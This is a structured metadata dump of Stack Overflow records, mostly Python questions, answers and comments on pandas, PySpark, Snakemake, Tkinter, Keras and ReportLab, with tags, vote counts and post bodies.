tags question: http://stackoverflow.com/q/48652393
tags question: http://stackoverflow.com/q/48803906
tags question: http://stackoverflow.com/q/48739200
tags question: http://stackoverflow.com/q/48662631
tags question: http://stackoverflow.com/q/48767143
tags question: http://stackoverflow.com/q/48653731
tags question: http://stackoverflow.com/q/48761928
tags question: http://stackoverflow.com/q/48646495
tags question: http://stackoverflow.com/q/48715778
tags question: http://stackoverflow.com/q/48793311
tags question: http://stackoverflow.com/q/48792405
tags question: http://stackoverflow.com/q/48735726
tags question: http://stackoverflow.com/q/48756633
tags question: http://stackoverflow.com/q/48759092
tags question: http://stackoverflow.com/q/48735498
tags question: http://stackoverflow.com/q/48663999
tags question: http://stackoverflow.com/q/48758703
tags question: http://stackoverflow.com/q/48720275
tags question: http://stackoverflow.com/q/48753948
tags question: http://stackoverflow.com/q/48786152
tags question: http://stackoverflow.com/q/48737283
tags question: http://stackoverflow.com/q/48724585
tags question: http://stackoverflow.com/q/48707426
tags question: http://stackoverflow.com/q/48672819
tags question: http://stackoverflow.com/q/48783108
tags question: http://stackoverflow.com/q/48715847
tags question: http://stackoverflow.com/q/48747579
tags question: http://stackoverflow.com/q/48646126
tags question: http://stackoverflow.com/q/48764133
tags question: http://stackoverflow.com/q/48774516
tags question: http://stackoverflow.com/q/48754929
tags question: http://stackoverflow.com/q/48684995
tags question: http://stackoverflow.com/q/48769357
tags question: http://stackoverflow.com/q/48700410
tags question: http://stackoverflow.com/q/48759609
tags question: http://stackoverflow.com/q/48789190
tags question: http://stackoverflow.com/q/48779475
tags question: http://stackoverflow.com/q/48759933
tags question: http://stackoverflow.com/q/48797580
tags question: http://stackoverflow.com/q/48699241
tags question: http://stackoverflow.com/q/48683727
tags question: http://stackoverflow.com/q/48716569
tags question: http://stackoverflow.com/q/48744166
tags question: http://stackoverflow.com/q/48731315
tags question: http://stackoverflow.com/q/48745906
tags question: http://stackoverflow.com/q/48711046
tags question: http://stackoverflow.com/q/48781307
tags question: http://stackoverflow.com/q/48646913
tags question: http://stackoverflow.com/q/48675730
tags question: http://stackoverflow.com/q/48735614
tags question: http://stackoverflow.com/q/48675842
tags question: http://stackoverflow.com/q/48802963
tags question: http://stackoverflow.com/q/48751831
tags question: http://stackoverflow.com/q/48775634
tags question: http://stackoverflow.com/q/48776795
tags question: http://stackoverflow.com/q/48682215
tags question: http://stackoverflow.com/q/48767867
tags question: http://stackoverflow.com/q/48803448
tags question: http://stackoverflow.com/q/48750835
tags question: http://stackoverflow.com/q/48741285
tags question: http://stackoverflow.com/q/48791203
tags question: http://stackoverflow.com/q/48752616
tags question: http://stackoverflow.com/q/48656917
tags question: http://stackoverflow.com/q/48717497
tags question: http://stackoverflow.com/q/48669409
tags question: http://stackoverflow.com/q/48797161
tags question: http://stackoverflow.com/q/48701235
tags question: http://stackoverflow.com/q/48646045
tags question: http://stackoverflow.com/q/48653291
tags question: http://stackoverflow.com/q/48656129
tags question: http://stackoverflow.com/q/48715970
tags question: http://stackoverflow.com/q/48767044

http://stackoverflow.com/comment/84479490
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48739457
has text: @Grismar What version of Python are you using?
score: 0

http://stackoverflow.com/comment/116153050
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/48800886
has text: One quick note, df.datetime.now is being deprecated. Instead you could use `datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")`

http://stackoverflow.com/comment/84453432
has text: This worked. Thanks for the help. I should have been more clear in my question and I'll be sure to do so in the future.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48727023
type: AnswerComment

http://stackoverflow.com/comment/84519195
has text: The python package you're looking for is `rpy2` - i'm not sure if its Python version specific.
comment on: http://stackoverflow.com/q/48759007
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48794098
type: Answer
answers question: http://stackoverflow.com/q/48769544
downvote count: 0
score: 1
upvote count: 1
has body: from pyspark.sql.functions import concat_ws, collect_list, concat, coalesce, lit #sample data df = sc.parallelize([ [1, 'a', None, None], [1, None, 'b', None], [1, None, None, 'c'], [2, 'd', None, None], [2, None, 'e', None], [2, None, None, 'f']]).\ toDF(('x', 'y', 'z', 'w')) df.show() result_df = df.groupby("x").\ agg(concat_ws(' ', collect_list(concat(*[coalesce(c, lit("")) for c in df.columns[1:]]))). alias('result')) result_df.show() Output is: +---+------+ | x|result| +---+------+ | 1| a b c| | 2| d e f| +---+------+ Sample input: +---+----+----+----+ | x| y| z| w| +---+----+----+----+ | 1| a|null|null| | 1|null| b|null| | 1|null|null| c| | 2| d|null|null| | 2|null| e|null| | 2|null|null| f| +---+----+----+----+

http://stackoverflow.com/a/48760143
type: Answer
has body: This is supposed to be fixed, as described in ccrisan/motioneyeos issue 1210 . Check if ccrisan/thingos commit c508ee6 was merged into motioneyeos. As commented in ccrisan/motioneyeos/issue 1211: the pycurl problem has been reported in #1210. I'll probably have to update the buildroot package. Until then, I recommend manually downloading pycurl-7.19.5.1.tar.gz and placing it in the .download folder.
answers question: http://stackoverflow.com/q/48759213
score: 0

http://stackoverflow.com/comment/84405642
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48701613
score: 0
has text: @Piinthesky Maybe, but i think the examples are very readable

http://stackoverflow.com/a/48687982
answers question: http://stackoverflow.com/q/48687883
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/84375394
downvote count: 1
has body: You need to escape the $ sign. try: \$
has comment: http://stackoverflow.com/comment/84373911
type: Answer

http://stackoverflow.com/comment/84329226
comment on: http://stackoverflow.com/a/48665688
type: AnswerComment
has text: Your updated code does not appear anymore (?) I am posting here in case someone else has the same problem:
score: 0
type: Comment

http://stackoverflow.com/q/48747790
has comment: http://stackoverflow.com/comment/84533527
has comment: http://stackoverflow.com/comment/84567519
has comment: http://stackoverflow.com/comment/84567292
has answer: http://stackoverflow.com/a/48783161
score: 2
tagged with: snakemake
type: Question
has title: Snakemake: Error with unexisting wildcard
linked to: http://stackoverflow.com/q/41185567
tagged with: wildcard
has body: Edit 2 : I figure it out. I posted my answer as reply. Edit 1 : I added a beginning of solution at the end of the question following @bli advices and https://stackoverflow.com/a/41185568/1025741 I'm writing a snakemake file where I parse a samplesheet file (defined in the yaml configuration file) in order to concatenate files listed in this samplesheet. Samplesheet looks like: sample unit fq1 fq2 A lane1 A.l1.1.R1.txt A.l1.1.R2.txt A lane1 A.l1.2.R1.txt A.l1.2.R2.txt A lane2 A.l2.R1.txt A.l2.R2.txt B lane1 B.l1.R1.txt B.l1.R2.txt The idea is to concatenate files (listed in fq1 and fq2) from the same sample and sample unit. In this case: A.l1.1.R1.txt and A.l2.2.R1.txt will be concatenated A.l1.1.R2.txt and A.l2.2.R2.txt will be concatenated The other files will not be concatenated but will also be reported in this directory structure: {sample}/ {sample}_{unit}_merged_R1.txt {sample}_{unit}_merged_R2.txt So at the end for this example I should have: A/ A_lane1_merged_R1.txt A_lane1_merged_R2.txt A_lane2_merged_R1.txt A_lane2_merged_R2.txt B/ B_lane1_merged_R1.txt B_lane1_merged_R2.txt Here's my snakemake file to execute such task: import pandas as pd shell.executable("bash") configfile: "config.yaml" # open samplesheet units = pd.read_table(config["units"], dtype=str) units = units.set_index(["sample", "unit"]) rule all: input: expand("{sample}/{sample}_{unit}_merge_R1.txt", sample=units.index.get_level_values('sample').unique(), unit=units.index.get_level_values('unit').unique()), expand("{sample}/{sample}_{unit}_merge_R2.txt", sample=units.index.get_level_values('sample').unique(), unit=units.index.get_level_values('unit').unique()) def get_fastq_r1(wildcards): return units.loc[(wildcards.sample, wildcards.unit), ["fq1"]].dropna().values.flatten() def get_fastq_r2(wildcards): return units.loc[(wildcards.sample, wildcards.unit), ["fq2"]].dropna().values.flatten() rule merge: input: r1 = get_fastq_r1, r2 = get_fastq_r2 output: "{sample}/{sample}_{unit}_merge_R1.txt",…
downvote count: 0
answer count: 1
favorite count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/a/48771385
has comment: http://stackoverflow.com/comment/84547261
has comment: http://stackoverflow.com/comment/84581584
has comment: http://stackoverflow.com/comment/84547814
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84545976
has comment: http://stackoverflow.com/comment/84545805
has comment: http://stackoverflow.com/comment/84550532
has body: It looks like the issue is the pos[0] in line 1 of p(). You've defined pos as an empty list near the the top of the file, and you haven't called bola(), so it has no 0th element. The error is letting you know that you've tried to look up a list index that doesn't exist. I think you want to switch the order of your calls to refresh() and p() in the While loop, so that bola() gets called before you do lookups in pos.
has comment: http://stackoverflow.com/comment/84583802
answers question: http://stackoverflow.com/q/48771308
has comment: http://stackoverflow.com/comment/84545613

http://stackoverflow.com/q/48659036
tagged with: python
has answer: http://stackoverflow.com/a/48659132
tagged with: indexing
type: Question
has body: I have a simple function to read bytes from serial port. Simply code looks like read_bytes = serial.read(5) After that I print a result and for example I have b'\x01\x02\x03\x04\x05' There is an option to catch bytes at specific position ? For example If I want to print byte at second position it should print for me b'\x02'. I read documentation but functions find and index do different stuff.
score: 0
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
tagged with: position
tagged with: byte
type: UnansweredQuestion
tagged with: serial-port
has title: Find bytes at specific position PYTHON

http://stackoverflow.com/comment/84430479
score: 0
type: QuestionComment
type: Comment
has text: Find out how to use the fs module (to read/write files) and the json module (to convert objects to/from JSON). Also read this for background: https://www.digitalocean.com/community/tutorials/how-to-work-with-json-in-javascript.
comment on: http://stackoverflow.com/q/48715569

http://stackoverflow.com/comment/84330730
has text: The binary search seems overkill. I'm not even convinced it's faster here, since it's more complicated and the list is tiny. And it doesn't even provide a better complexity class, since your function builds the entire lists every time it's called so your function takes O(N) anyway. Maybe better use tuples instead so they get pre-compiled. It's definitely *nice code*, though, so I'd say that's the real advantage here.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48653351
type: Comment

http://stackoverflow.com/q/48701372
has title: I'm using TF Object Detection API with Open CV
score: 0
answer count: 1
tagged with: object-detection
favorite count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/49171837
has body: How do I extract the type of the object the video detects.For example, once the video in the Object Detection API detects a 'laptop', how do I get 'laptop' label along with its id ,to display that in separate file? import cv2 cap = cv2.VideoCapture(0) with detection_graph.as_default(): with tf.Session(graph=detection_graph) as sess: ret = True while (ret): ret,image_np = cap.read() image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level of confidence for each of the objects. # Score is shown on the result image, together with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections) = sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the results of a detection. vis_util.visualize_boxes_and_labels_on_image_array( image_np, np.squeeze(boxes), np.squeeze(classes).astype(np.int32), np.squeeze(scores), category_index, use_normalized_coordinates=True, line_thickness=8) cv2.imshow('image',cv2.resize(image_np,(600,400))) if cv2.waitKey(25) &amp; 0xFF == ord('q'): cv2.destroyAllWindows() cap.release() break
tagged with: opencv
has comment: http://stackoverflow.com/comment/90466958
downvote count: 1
tagged with: tensorflow
type: Question

http://stackoverflow.com/comment/84566716
has text: Why downvote, need more context?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48782713
type: QuestionComment

http://stackoverflow.com/a/48773393
has comment: http://stackoverflow.com/comment/84549537
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48773018
has comment: http://stackoverflow.com/comment/84548673
answers question: http://stackoverflow.com/q/48773018
score: 1
has comment: http://stackoverflow.com/comment/84548766
has body: You need to change the condition to recursively handle both the n // 2 and n % 2: if n &lt;= 1: return str(n) # per @pault's suggestion, only needed str(n) instead of str(n % 2) else: return dtobr(n // 2) + dtobr(n % 2) Test case: for i in [0, 1, 2, 27]: print(dtobr(i)) # 0 # 1 # 10 # 11011 FYI you can easily convert to binary format like so: '{0:b}'.format(x) # where x is your number

http://stackoverflow.com/q/48765035
downvote count: 0
has comment: http://stackoverflow.com/comment/84533582
tagged with: fonts
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/84532417
has comment: http://stackoverflow.com/comment/84533254
has body: I would like to plot Apple emoji in matplotlib, so I wrote this code. However, I get an error that could not set the font size when setting fonts. If I do not set the font it will be plotted like the next image. image of plotting emoji My system is Mac OS X Sierra 10.12.6, my matplotlib version is 2.0.2. import matplotlib.pyplot as plt from matplotlib.font_manager import FontProperties prop = FontProperties(fname='/System/Library/Fonts/Apple Color Emoji.ttc') plt.rcParams['font.family'] = prop.get_name() plt.annotate("", (0.5, 0.3), size=30) plt.annotate("", (0.5, 0.8), size=30) plt.savefig("emoji_test.png") File "./emoji_test.py", line 5, in plt.rcParams['font.family'] = prop.get_name() File "/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/matplotlib/font_manager.py", line 750, in get_name return get_font(findfont(self)).family_name RuntimeError: In FT2Font: Could not set the fontsize
type: Question
score: 4
accepted answer: http://stackoverflow.com/a/48765316
answer count: 1
has title: Could not load the emoji font in Matplotlib
favorite count: 0
has comment: http://stackoverflow.com/comment/84533425
has comment: http://stackoverflow.com/comment/84533035
tagged with: python-3.x
linked to: http://stackoverflow.com/q/47102873
has comment: http://stackoverflow.com/comment/84532602
has answer: http://stackoverflow.com/a/48765316
has comment: http://stackoverflow.com/comment/84532528
tagged with: python
upvote count: 4
tagged with: emoji
type: AnsweredQuestion

http://stackoverflow.com/a/48745334
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48745010
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48745010
type: Answer
downvote count: 0
score: 2
has body: Write in other file In addition, you can check if your word is in uppercase or lower case in your dict or in your files. It is maybe why "replace" doesn't work. for filename in os.listdir(path): with open(path+"/"+filename,'r+') as textfile, open(path+"/new_"+filename,'w') as textfile_new: for line in textfile: new_line = line for word in line.split(): if(specific_words_dict.get(word) is not None): new_line = new_line.replace(word,word+"_1") textfile_new.write(new_line)

http://stackoverflow.com/q/48720548
downvote count: 0
answer count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/17956149
has body: I am following this link. Everything was fine until I imported this. import scipy.spatial.ckdtree as spsp After running this by following the instructions given in the link above. I did this kdtrees = [spsp(p) for p in coordinates] I got an error: TypeError: 'module' object is not callable SO this is what my cooridinates outout looks like: coordinates = [] for row in result: coordinates.append(np.array(row, dtype=float)) print coordinates Output :[array([ 28.6333, 77.2167]), array([ 28.6333, 77.25 ])] I don't know where I am going wrong. I followed the instructions as it is as given in the link.
tagged with: python
has title: TypeError: 'module' object is not callable scipy.spatial.ckdtree
score: 2
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48720704
tagged with: scipy
type: Question
tagged with: python-2.7

http://stackoverflow.com/q/48717245
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48717434
type: Question
has body: Loaded two dataframes(testdf and datadf) from two files and then used df = pd.concat([testdf,datadf]) produces a df.shape of (48842,15) so far so good. Now I need 80% train, 10% test, 10% validation trndf = df.sample(frac=0.8)returns a shape of (39074,15) which is correct. tmpdf = df.drop(trndf.index)now the idea here is to remove those 39074 rows from the df dataframe which should leave a total of 9768. However tmpdf dataframe shape is (4514,15) losing 5254 rows. df uses a default index which is numbered from 0 to 48841 a sample below idx age work class 0 25 Private 1 28 Private The trndf dataframe sample below which is random sample and I confirmed the index numbers matched the index in df dataframe idx age work class 228 25 ? 2164 35 State-gov Open to ideas on how it managed to lose those extra rows. Appreciate any insight on this. Thanks
tagged with: dataframe
score: 4
upvote count: 4
tagged with: pandas
has title: Panda 0.22 dataframe.drop more rows than it should
has answer: http://stackoverflow.com/a/48717434

http://stackoverflow.com/q/48681881
answer count: 0
type: UnansweredQuestion
tagged with: django
upvote count: 1
has body: I have Django model as follows: class UserBusinessUnit(models.Model): company = models.ForeignKey(to=Company, limit_choices_to={'is_dealership': True}) user = models.ForeignKey(to=User) brands = models.ManyToManyField(to=Brand) business_unit = models.ForeignKey(to=BusinessUnit) active = models.BooleanField(default=True) class Meta: ordering = ('user__username',) def __unicode__(self): return self.user.email + ' - ' + self.business_unit.name In Django admin panel it look like this: I want to be able to populate User and Business unit field depending in Company field. Thus if I change company field I want that the User and Business field are instantly populated. Any idea how to do that?
score: 1
type: Question
has comment: http://stackoverflow.com/comment/84360923
downvote count: 0
has title: Make one select field depend to another in Django admin
tagged with: python
favorite count: 0

http://stackoverflow.com/q/48792285
tagged with: dataframe
has title: TypeError: ufunc 'add' did not contain a loop with signature matching types dtype('<U32') dtype('<U32') dtype('<U32')
score: 0
tagged with: pandas
answer count: 1
favorite count: 0
has body: I am trying to normalize energy use data using weather data with Pandas. I need my code to read a csv with weather data, calculate some numbers using that data, and sum up those numbers based on the month of the year. Here is my code so far: import pandas as pd import statsmodels.api as sm import statsmodels.formula.api as smf data = pd.read_csv("C:\\Users\\mparlo\\Documents\\Python\\NEWYORK - NEWYORK.csv", header=None) data.columns = ["Month", "Day", "Year", "Temperature"] ndays = len(data) data["hdd"] = "" data["cdd"] = "" t_bp = 65 for i in range(0,ndays): if data.at[i,"Temperature"] &gt; t_bp: data.at[i,"hdd"] = 0 data.at[i,"cdd"] = data.at[i,"Temperature"]-t_bp elif data.at[i,"Temperature"] &lt; t_bp: data.at[i,"hdd"] = t_bp - data.at[i,"Temperature"] data.at[i,"cdd"] = 0 data hddjan = data.loc[data["Month"] == 1, "hdd"].sum() cddjan = data.loc[data["Month"] == 1, "cdd"].sum() hddfeb = data.loc[data["Month"] == 2, "hdd"].sum() cddfeb = data.loc[data["Month"] == 2, "cdd"].sum() hddmar = data.loc[data["Month"] == 3, "hdd"].sum() cddmar = data.loc[data["Month"] == 3, "cdd"].sum() hddapr = data.loc[data["Month"] == 4, "hdd"].sum() The data is formatted such that Months are numbered 1-12. The code works up until the last line here, where I try to sum anything past Month 3/March. I get this error: &gt; --------------------------------------------------------------------------- &gt;TypeError Traceback (most recent call last) &gt;~\AppData\Local\Continuum\anaconda3\lib\site-packages\pandas\core\nanops.py in &gt;f(values, axis, skipna, **kwds) &gt; 118 else: &gt;--&gt; 119 result = alt(values, axis=axis, skipna=skipna, &gt;**kwds) &gt; 120 except Exception: &gt; &gt;~\AppData\Local\Continuum\anaconda3\lib\site-packages\pandas\core\nanops.py in &gt;nansum(values, axis, skipna) &gt; 292 dtype_sum = np.float64 &gt;--&gt; 293 the_sum = values.sum(axis, dtype=dtype_sum) &gt; 294 the_sum = _maybe_null_out(the_sum, axis, mask) &gt; &gt;~\AppData\Local\Continuum\anaconda3\lib\s…
tagged with: python
has answer: http://stackoverflow.com/a/48795481
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84592539
upvote count: 1
downvote count: 1
type: Question

http://stackoverflow.com/comment/84514236
score: 0
type: AnswerComment
type: Comment
has text: It should if `etree` points to `lxml.etree`. Your post does not indicate the library and does not set up a reproducible example for us to verify. Try printing in console `print(etree.tostring(..., pretty_print = True))`.
comment on: http://stackoverflow.com/a/48756069

http://stackoverflow.com/q/48762617
answer count: 2
tagged with: python-itertools
has answer: http://stackoverflow.com/a/48763422
has answer: http://stackoverflow.com/a/48763931
has comment: http://stackoverflow.com/comment/84526552
score: 4
has comment: http://stackoverflow.com/comment/84525921
possible better answer: http://stackoverflow.com/a/48763422
tagged with: pandas
has body: I have a Pandas table which filled with values in my view. This view send this data to my template. Unfortunately I can't loop the values despite I can it in python shell. I attach my table and my attempt: My table (MyTable): ID day data _|___________|_____ 0| 2017-01-01|100.0| 1| 2017-01-02|99.8 | 2| 2017-01-03|90.0 | My attempt: {%for i, b in MyTable.itertools() %} &lt;td&gt;{{b['day']}}&lt;/td&gt;&lt;td&gt; {{b['data']}}&lt;/td&gt; {%endfor%} I got the following error message: Could not parse the remainder: '()' from 'MyTable.iterools()' In python shell (where I testing) I could loop the table by the method below. How can I loop my pandas table in Django template? Thank you in advance.
has title: Loop Pandas table in Django template
tagged with: python
has comment: http://stackoverflow.com/comment/84525748
favorite count: 0
has comment: http://stackoverflow.com/comment/84525882
has comment: http://stackoverflow.com/comment/84525989
accepted answer: http://stackoverflow.com/a/48763931
tagged with: django
downvote count: 1
has comment: http://stackoverflow.com/comment/84526118
type: AnsweredQuestion
upvote count: 5
type: Question

http://stackoverflow.com/comment/84425780
comment on: http://stackoverflow.com/q/48713117
has text: i gets set at the beginning of each loop, so i=j+1 does nothing. As for solving your problem I advise rewording the question to explain what you are actually trying to achieve as it's not clear.
score: 3
type: QuestionComment
type: Comment

http://stackoverflow.com/a/48686135
accepted answer of: http://stackoverflow.com/q/48685832
has comment: http://stackoverflow.com/comment/84369787
has comment: http://stackoverflow.com/comment/84372795
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84372085
has body: You should keep the file context as the outermost layer. Apart from that, you only have to produce a correctly ordered list from your dictionaries: sort_func = lambda x: -1 if x[0] == 'question' else int(x[0].split('-')[1]) with open('result.csv', 'w') as csv_file: writer = csv.writer(csv_file) for entry in result: row = [val for key, val in sorted(entry.items(), key=sort_func)] writer.writerow(row) I assumed that results is a list of dictionaries, where every entry is such a questions, answer-0, answer-1, .. dictionary.
answers question: http://stackoverflow.com/q/48685832
type: Answer
has comment: http://stackoverflow.com/comment/84371524
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/84371268
has comment: http://stackoverflow.com/comment/84369757
has comment: http://stackoverflow.com/comment/84371745

http://stackoverflow.com/comment/84474300
score: 0
has text: What exactly is the question here? What is the purpose of the loop? Not providing a [mcve] here means essentially that you ask other people to do all the work for you. While creating such a [mcve] by yourself would probably even allow you to solve the issue alone without the need to ask a question here - and in case it doesn't you have the [mcve] to post here.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48737325

http://stackoverflow.com/a/48734885
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48734357
answers question: http://stackoverflow.com/q/48734357
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: I believe this is not strictly a duplicate, and I provide an exact solution to your problem. Solution For a given string of length n, we shall obtain a unique and valid partition of the string for every binary string of length (n-1). For example: The string "coconut" and the binary string "001010" corresponds to the partition: ['coc', 'on', 'ut'] and the binary string "100101" corresponds to: ['c','oco','nu','t']. Thus we can get the full list of partitions as you require, by taking all ((2^(n-1))-1) different partitions corresponding to the different binary sequences. Implementation import itertools def get_list_partitions(string): partitions = [] #list of binary sequences binary_sequences = ["".join(seq) for seq in itertools.product("01", repeat=len(string)-1)] #go over every binary sequence (which represents a partition) for sequence in binary_sequences: partition = [] #current substring, accumulates letters until it encounters "1" in the binary sequence curr_substring = string[0] for i, bit in enumerate(sequence): #if 0, don't partition. otherwise, add curr_substring to the current partition and set curr_substring to be the next letter if bit == '0': curr_substring = curr_substring + string[i+1] else: partition.append(curr_substring) curr_substring = string[i+1] #add the last substring to the partition partition.append(curr_substring) #add partition to the list of partitions partitions.append(partition) return partitions print(get_list_partitions("coconut"))

http://stackoverflow.com/q/48674764
has comment: http://stackoverflow.com/comment/84348013
favorite count: 0
type: UnansweredQuestion
tagged with: python
has body: For some reason my code is only converting AUD to USD no matter which option I Choose. I was wondering where I went wrong and what I missed. Thanks in Advance Currency converter AU = 1.000000 US = 0.790541 EU = 0.638550 GB = 0.566447 TU = 0.335597 SW = 0.740017 def menu(): input("Whould you like to convert to AUD or AUD to another Currency? \nConvert to AUD\nConvert From AUD") if 2: int(input("Which Currency do you want to convert to AUD\n1: US\n2: EU\n3: BP\n4: TU\n5: SW")) if 1: value = int(input("How much money in AUD do you want to convert?")) print("You now have",value*US,"In USD") elif 2: value2 = int(input("How much money in AUD do you want to convert?")) print("You now have",value2*EU,"In EU") elif 3: value3 = int(input("How much money in AUD do you want to convert?")) print("You now have",value*GB,"In GB") elif 4: value4 = int(input("How much money in AUD do you want to convert?")) print("You now have",value*TU,"In TU") elif 5: value5 = int(input("How much money in AUD do you want to convert?")) print("You now have",value*SW,"In SW") else: print("Incorrect Option, Please Try again.") menu() print("Welcome to Currency Converter") menu()
has comment: http://stackoverflow.com/comment/84348041
upvote count: 2
downvote count: 3
type: Question
has answer: http://stackoverflow.com/a/48674783
has answer: http://stackoverflow.com/a/48674820
has title: Issue with Python Code
score: -1
answer count: 2

http://stackoverflow.com/a/48652752
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/104027011
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48651692
has body: move is a method for Canvas, and its first argument needs to be an item on Canvas. In your case frames is not an item on the Canvas. Replace: def update(ind): #... label.configure(image=frame) root.after(100, update, ind) label = Label(root) label.pack() with: def update(ind): #... c.itemconfig(character, image=frame) c.move(character, 1, 1) root.after(100, update, ind) character = c.create_image((47,47), image=frames[0]) To convert your label into an image item in Canvas and move it. Example Below is a complete example that downloads(you can comment download_images out after the initial run) .gif images below online: and then moves an image while animating between the two: try: # In order to be able to import tkinter for import tkinter as tk # either in python 2 or in python 3 except ImportError: import Tkinter as tk def download_images(): # In order to fetch the image online try: import urllib.request as url except ImportError: import urllib as url url.urlretrieve("https://i.sstatic.net/57uJJ.gif", "13.gif") url.urlretrieve("https://i.sstatic.net/8LThi.gif", "8.gif") def animate_and_move(i): i = (i + 1) % 2 canvas.itemconfig(moving_image, image=canvas.images[i]) canvas.move(moving_image, 1, 1) canvas.after(100, animate_and_move, i) if __name__ == '__main__': download_images() # comment out after initial run root = tk.Tk() canvas = tk.Canvas(root, height=644, width=644, bg='#ffffff') canvas.images = list() canvas.images.append(tk.PhotoImage(file="8.gif")) canvas.images.append(tk.PhotoImage(file="13.gif")) moving_image = canvas.create_image((164, 164), image=canvas.images[0]) animate_and_move(0) canvas.pack() root.mainloop() Note that if: import tkinter tkinter.TkVersion >= 8.6 returns True then .png files are also supported without an additional library.
upvote count: 2
answers question: http://stackoverflow.com/q/48651692

http://stackoverflow.com/a/48724248
upvote count: 2
has comment: http://stackoverflow.com/comment/84449171
has body: Where can I find the code that deals with the unwinded network, i.e that goes from timestep to timestep? This logic is done by keras.backend.rnn function (recurrent.py): last_output, outputs, states = K.rnn(step, inputs, initial_state, constants=constants, go_backwards=self.go_backwards, mask=mask, unroll=self.unroll, input_length=timesteps) The step is basically the call of a cell... def step(inputs, states): return self.cell.call(inputs, states, **kwargs) ... which in case of LSTM cell computes the i, f, c and o gates, as described in your question, and evaluates the output and state tensors from them. If you're using tensorflow backend, you can find the actual loop that iterates over input series in keras/backend/tensorflow_backend.py.
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48723031
downvote count: 0
answers question: http://stackoverflow.com/q/48723031
type: Answer
score: 2

http://stackoverflow.com/q/48745947
has answer: http://stackoverflow.com/a/48796850
has comment: http://stackoverflow.com/comment/84526059
tagged with: http://stackoverflow.com/tag/pdf
tagged with: sqlite
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84492104
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/84507084
has comment: http://stackoverflow.com/comment/84492233
has comment: http://stackoverflow.com/comment/84492991
tagged with: python
accepted answer: http://stackoverflow.com/a/48796850
type: AnsweredQuestion
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/84509168
tagged with: reportlab
type: Question
has body: I have a python script that parses data from an SQLite DB file and writes it to a .csv file. I would like to write this data to a forensic style report in PDF format. I have already been able to create a template pdf with a heading, date, case number, and short paragraph on details. I was wondering how should I write the .csv file data into a table in the PDF. As shown i have tried iterating through the .csv file after reading it with csv.reader. I can write the initial headings into the file but it will not pull the data from the .csv file and write it. Can anyone point me in the right direction. # Script to generate a PDF report after data has been parsed into .csv file # import statements from reportlab.lib.pagesizes import letter from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import portrait import csv # PDF document layout canvas = canvas.Canvas("H:\College Fourth Year\Development Project\Final Year Project 2018\Forensic Reports\SMS Report.pdf", pagesize=letter) canvas.setLineWidth(.3) canvas.setFont('Helvetica', 12) canvas.drawString(30,750,'LYIT MOBILE FORENSICS DIVISION') canvas.drawString(500,750,"Date: 12/02/2018") canvas.line(500,747,595,747) canvas.drawString(500,725,'Case Number:') canvas.drawString(580,725,"10") canvas.line(500,723,595,723) # Introduction text line1 = 'This forensic report on SMS data has been compiled by the forensic' line2 = 'examiner in conclusion to the investigation into the RTA' line3 = 'case which occured on 23/01/2018' textObject = canvas.beginText(30, 700) lines = [line1, line2, line3] for line in lines: textObject.textLine(line) canvas.drawText(textObject) # File that must be written to report data_file = 'H:\College Fourth Year\Development Project\Final Year Project 2018\ExtractedEvidence\smsInfo.csv' c = canvas # Function for importing data def import_Data(data_file): smsInfo = csv.reader(open(data_file, "r")) for row in smsInfo: ID = row[0] Incoming_Number = row[1] Date_And_Time = row[2] Read = row[3] Sen…
has title: Writing a CSV file into a PDF document

http://stackoverflow.com/q/48654585
tagged with: opencv
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84332579
score: 1
type: Question
has title: How to remove variations in the y axis of template matching (opencv)
downvote count: 0
has answer: http://stackoverflow.com/a/48662137
